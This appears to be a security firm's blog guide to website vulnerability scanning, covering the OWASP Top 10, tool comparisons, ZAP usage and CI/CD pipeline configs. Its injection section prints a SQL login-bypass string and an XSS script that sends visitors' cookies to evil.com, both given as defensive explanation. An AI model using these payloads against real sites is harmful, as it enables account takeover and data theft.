HomeBlogAboutPricingContact🌐 中文
Back to HomeVulnerability Scanning
Website Vulnerability Scanning Practical Guide | From OWASP Top 10 to CI/CD Automation

Website Vulnerability Scanning Practical Guide | From OWASP Top 10 to CI/CD Automation

📑 Table of Contents

Introduction: Your Website May Be More Vulnerable Than You Think

💡 Key Takeaway: A single SQL Injection vulnerability can let hackers steal your entire database in minutes.

This isn't an exaggeration. According to Verizon's Data Breach Investigation Report, over 40% of data breaches are related to web application vulnerabilities. E-commerce credit card fraud, member data leaks, websites infected with crypto miners—many of these news stories are caused by web vulnerabilities.

Website vulnerability scanning helps you find these holes before hackers do.

This article will help you understand:

Whether you're a developer, QA, or security professional, this article will help you build the right web security concepts.

If you're not familiar with vulnerability scanning, we recommend reading What is Vulnerability Scanning? Complete Guide first.



OWASP Top 10: Web Vulnerabilities You Must Know

OWASP (Open Web Application Security Project) publishes a "Top 10" list every few years, listing the most common and dangerous web application vulnerabilities.

This list is the bible of web security and the detection basis for scanning tools.

2021 OWASP Top 10

RankVulnerability TypeDescription
A01Broken Access ControlAccess control failure, users can access data they shouldn't see
A02Cryptographic FailuresEncryption failure, sensitive data unencrypted or improperly encrypted
A03InjectionInjection attacks, including SQL, NoSQL, OS command injection
A04Insecure DesignInsecure design, architecture-level security flaws
A05Security MisconfigurationSecurity configuration errors, unchanged defaults, error message leaks
A06Vulnerable ComponentsUsing vulnerable components, such as outdated packages
A07Authentication FailuresAuthentication failures, including weak passwords, session management issues
A08Software and Data IntegritySoftware and data integrity issues, such as insecure CI/CD
A09Security Logging FailuresInsufficient security logging, unable to track attack behavior
A10SSRFServer-Side Request Forgery, can access internal resources

Key Vulnerability Details

Here are detailed explanations of the four most commonly encountered vulnerabilities:

A01: Broken Access Control

This is the #1 issue in 2021, rising from #5 in 2017.

What does it mean?

Users can access resources beyond their permissions. For example:

Real Case:

An e-commerce website puts order ID directly in URL:

https://shop.example.com/order/12345

Attackers just change 12345 to 12346 to see other people's order data.

Can scanning catch it?

Partially. Automated tools can detect basic IDOR (Insecure Direct Object References), but complex logic vulnerabilities may need manual testing.

A03: Injection

A classic among classics, including SQL Injection, XSS, Command Injection, etc.

SQL Injection Example:

Suppose login function is written like this:

SELECT * FROM users WHERE username = '$input'

Attacker enters:

' OR '1'='1

Query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1'

Directly bypasses authentication.

XSS (Cross-Site Scripting) Example:

Website doesn't filter user input, attacker enters in comment section:

<script>document.location='http://evil.com/?c='+document.cookie</script>

When other users view this comment, their cookies get stolen.

Can scanning catch it?

Yes. This is what automated scanning tools are best at.

A02: Cryptographic Failures

Sensitive data not properly protected by encryption.

Common Issues:

Can scanning catch it?

Partially. Tools can detect SSL/TLS configuration issues, insecure HTTP transmission, but cannot judge if password hashing algorithm is strong enough.

A07: Authentication Failures

Login mechanism has vulnerabilities.

Common Issues:

Can scanning catch it?

Partially. Tools can test brute force protection, session management, but complex logic issues need manual testing.

Does your website have these vulnerabilities? Schedule a Website Security Checkup to quickly identify potential risks.

Illustration 1: OWASP Top 10 Vulnerability DistributionIllustration 1: OWASP Top 10 Vulnerability Distribution


Web Scanning Tool Selection

Different tools have different strengths. Here's a comparison of mainstream web vulnerability scanning tools:

Tool Overview

ToolTypePriceBest For
OWASP ZAPFree Open Source$0Development teams, learning
Burp SuitePaid Professional$449/year+Penetration testing, deep testing
AcunetixEnterprise$4,500/year+Enterprise automated scanning
Fortify WebInspectEnterpriseQuote-basedLarge enterprises, SDLC integration
NucleiFree Open Source$0Advanced users, custom rules

OWASP ZAP

Position: Free, feature-complete, active community

Pros:

Cons:

Suitable for: Development teams, security beginners, budget-limited companies

For more free tools, see Free Vulnerability Scanners Recommended.

Want to compare paid tool features? See Vulnerability Scanner Comparison: Nessus vs OpenVAS vs Acunetix.

Burp Suite

Position: Standard tool for penetration testers

Version Differences:

Pros:

Cons:

Suitable for: Security professionals, penetration testing teams

Acunetix

Position: Enterprise-grade web application security scanning

Pros:

Cons:

Suitable for: E-commerce, SaaS, fintech companies

Fortify WebInspect

Position: Enterprise-grade, deep integration with development process

Pros:

Cons:

Suitable for: Large enterprises, organizations with strict compliance requirements

Illustration 2: Web Scanning Tool InterfaceIllustration 2: Web Scanning Tool Interface


Scanning Execution Practices

Pre-Scan Preparation

1. Confirm Scanning Scope

2. Get Authorization

This is important: Scanning someone else's website without authorization is illegal.

Even scanning your own company's website, it's recommended to get formal written authorization to avoid being mistaken for an attack.

3. Prepare Test Environment

Recommend scanning in test or staging environment, not directly in production.

Reasons:

4. Configure Authentication

Many pages require login to see. Remember to set:

Without authentication, scanners can only scan homepage and public pages.

Scanning Mode Selection

Passive Scan

Only analyzes passing traffic, doesn't actively send attack requests.

Suitable for:

Active Scan

Actively sends various attack payloads to test for vulnerabilities.

Suitable for:

OWASP ZAP Scanning Steps

Step 1: Set Target

1. Open OWASP ZAP
2. Enter target URL in URL field
3. Press "Attack" button to start automatic scan

Step 2: Configure Authentication (if needed)

1. Manually log into website (ZAP will record)
2. Or set up Authentication Context
3. Choose Form-based or Script-based authentication

Step 3: View Results

1. View discovered vulnerabilities in Alerts tab
2. Sort by risk level (High > Medium > Low)
3. Click each vulnerability for details

Step 4: Export Report

1. Report > Generate HTML Report
2. Select report format and content
3. Save report file


CI/CD Integration: Automate Security Scanning

The core concept of DevSecOps: Security should shift left, the earlier you find problems, the lower the fix cost.

Integrate vulnerability scanning into CI/CD, automatically run scans on every code commit or deployment.

GitHub Actions Integration

name: Security Scan

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  zap-scan:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: ZAP Baseline Scan
        uses: zaproxy/[email protected]
        with:
          target: 'https://staging.example.com'
          fail_action: true
          rules_file_name: '.zap/rules.tsv'

      - name: Upload Report
        uses: actions/upload-artifact@v3
        with:
          name: zap-report
          path: report_html.html

GitLab CI Integration

stages:
  - build
  - test
  - security

zap-scan:
  stage: security
  image: owasp/zap2docker-stable
  script:
    - zap-baseline.py -t https://staging.example.com -r report.html
  artifacts:
    paths:
      - report.html
    when: always
  only:
    - main
    - develop

Jenkins Integration

pipeline {
    agent any

    stages {
        stage('Build') {
            steps {
                // Build steps
            }
        }

        stage('Deploy to Staging') {
            steps {
                // Deploy to test environment
            }
        }

        stage('Security Scan') {
            steps {
                script {
                    sh '''
                        docker run -v $(pwd):/zap/wrk:rw \
                        owasp/zap2docker-stable \
                        zap-baseline.py \
                        -t https://staging.example.com \
                        -r zap-report.html
                    '''
                }
            }
            post {
                always {
                    publishHTML([
                        reportDir: '.',
                        reportFiles: 'zap-report.html',
                        reportName: 'ZAP Security Report'
                    ])
                }
            }
        }
    }
}

Scanning Strategy Recommendations

TriggerScan TypeDepth
Every CommitBaseline ScanQuick (5-10 min)
Every PRBaseline ScanQuick
Daily ScheduleFull ScanDeep (1-2 hours)
Pre-LaunchFull Scan + Manual VerificationDeepest

Illustration 3: DevSecOps PipelineIllustration 3: DevSecOps Pipeline


Handling Scan Results

After scanning, you'll get a bunch of vulnerabilities. Then what?

Classification and Prioritization

By Risk Level:

LevelResponse TimeExample
Critical/HighImmediateSQL Injection, RCE
MediumWithin 1 weekXSS, Information Disclosure
LowNext iterationInsecure Cookie Settings
InformationalEvaluate whether to handleVersion Information Disclosure

By Business Impact:

Same High risk, occurring in:

Handling False Positives

Automated scanning can't be 100% accurate.

Common False Positive Scenarios:

Verification Methods:

  1. Manually reproduce the attack vector reported by scanner
  2. Check code to confirm if protections exist
  3. Use Burp Suite for manual testing

After confirming false positive, mark as excluded in tool to avoid repeated reports.

Tracking and Remediation

Recommend establishing vulnerability tracking process:

  1. Create Ticket: Open a ticket for each vulnerability (Jira, GitHub Issues)
  2. Assign: Designate developer responsible for fix
  3. Set Deadline: Set fix deadline by risk level
  4. Verify: Re-scan after fix to confirm
  5. Close: Confirm fix complete, close ticket

For how to interpret scan reports, see Vulnerability Scan Report Interpretation Guide.



Common Issues and Challenges

Q1: Will scanning affect website performance?

Yes, especially Active Scan.

Recommended Practices:

Q2: How often should I scan?

Depends on your update frequency:

ScenarioRecommended Frequency
Frequent deployments (daily/weekly)Every deployment
Regular releases (monthly)Before each release
Rarely changedAt least quarterly
Has compliance requirementsPer regulations

Q3: Can scanning replace penetration testing?

No.

Automated scanning can find most known vulnerabilities, but cannot:

Recommendation: Use automated scanning daily, do manual penetration testing at least once a year. For detailed comparison, see Vulnerability Scanning vs Penetration Testing.

Q4: What if I can't fix all the vulnerabilities?

Very normal, security is endless.

Practical Approach:



Conclusion: Security Scanning is a Continuous Process

Three key takeaways:

  1. Understand OWASP Top 10: This is the foundation of web security, scanning tools are based on this
  2. Choose the Right Tool: Use OWASP ZAP for limited budget, Burp Suite for deep testing, Acunetix for enterprise automation
  3. Integrate into CI/CD: Make security scanning part of the development process, not an afterthought before launch

Web security isn't a one-time task. Continuous scanning, continuous fixing, continuous improvement—that's how you truly protect your website and user data.



Need Professional Website Security Assessment?

Automated scanning is a good starting point, but enterprise websites usually need more complete assessment:

Schedule Website Security Checkup, our security consultants will:

  1. Execute complete web vulnerability scanning
  2. Manually verify critical vulnerabilities
  3. Provide fix recommendations and timeline planning
  4. Help development team understand and fix issues

First consultation is free.

Don't have a security team to run scans? Consider Vulnerability Scanning Service Providers for help.



References

  1. OWASP, "OWASP Top 10 2021" (2021)
  2. OWASP, "OWASP ZAP User Guide" (2024)
  3. PortSwigger, "Burp Suite Documentation" (2024)
  4. Acunetix, "Web Application Security Testing" (2024)
  5. Verizon, "2024 Data Breach Investigations Report" (2024)
  6. NIST, "Technical Guide to Information Security Testing" (2024)

Need Professional Cloud Advice?

Whether you're evaluating cloud platforms, optimizing existing architecture, or looking for cost-saving solutions, we can help

Book Free Consultation

Vulnerability ScanningAWSAzureKubernetes
Previous
Weiyun Taiwan Usage Guide: Registration, Download, Storage Management Complete Guide [2025]
Next
Vulnerability Scanning vs Penetration Testing | How Should Enterprises Choose? Complete Comparison and Decision Guide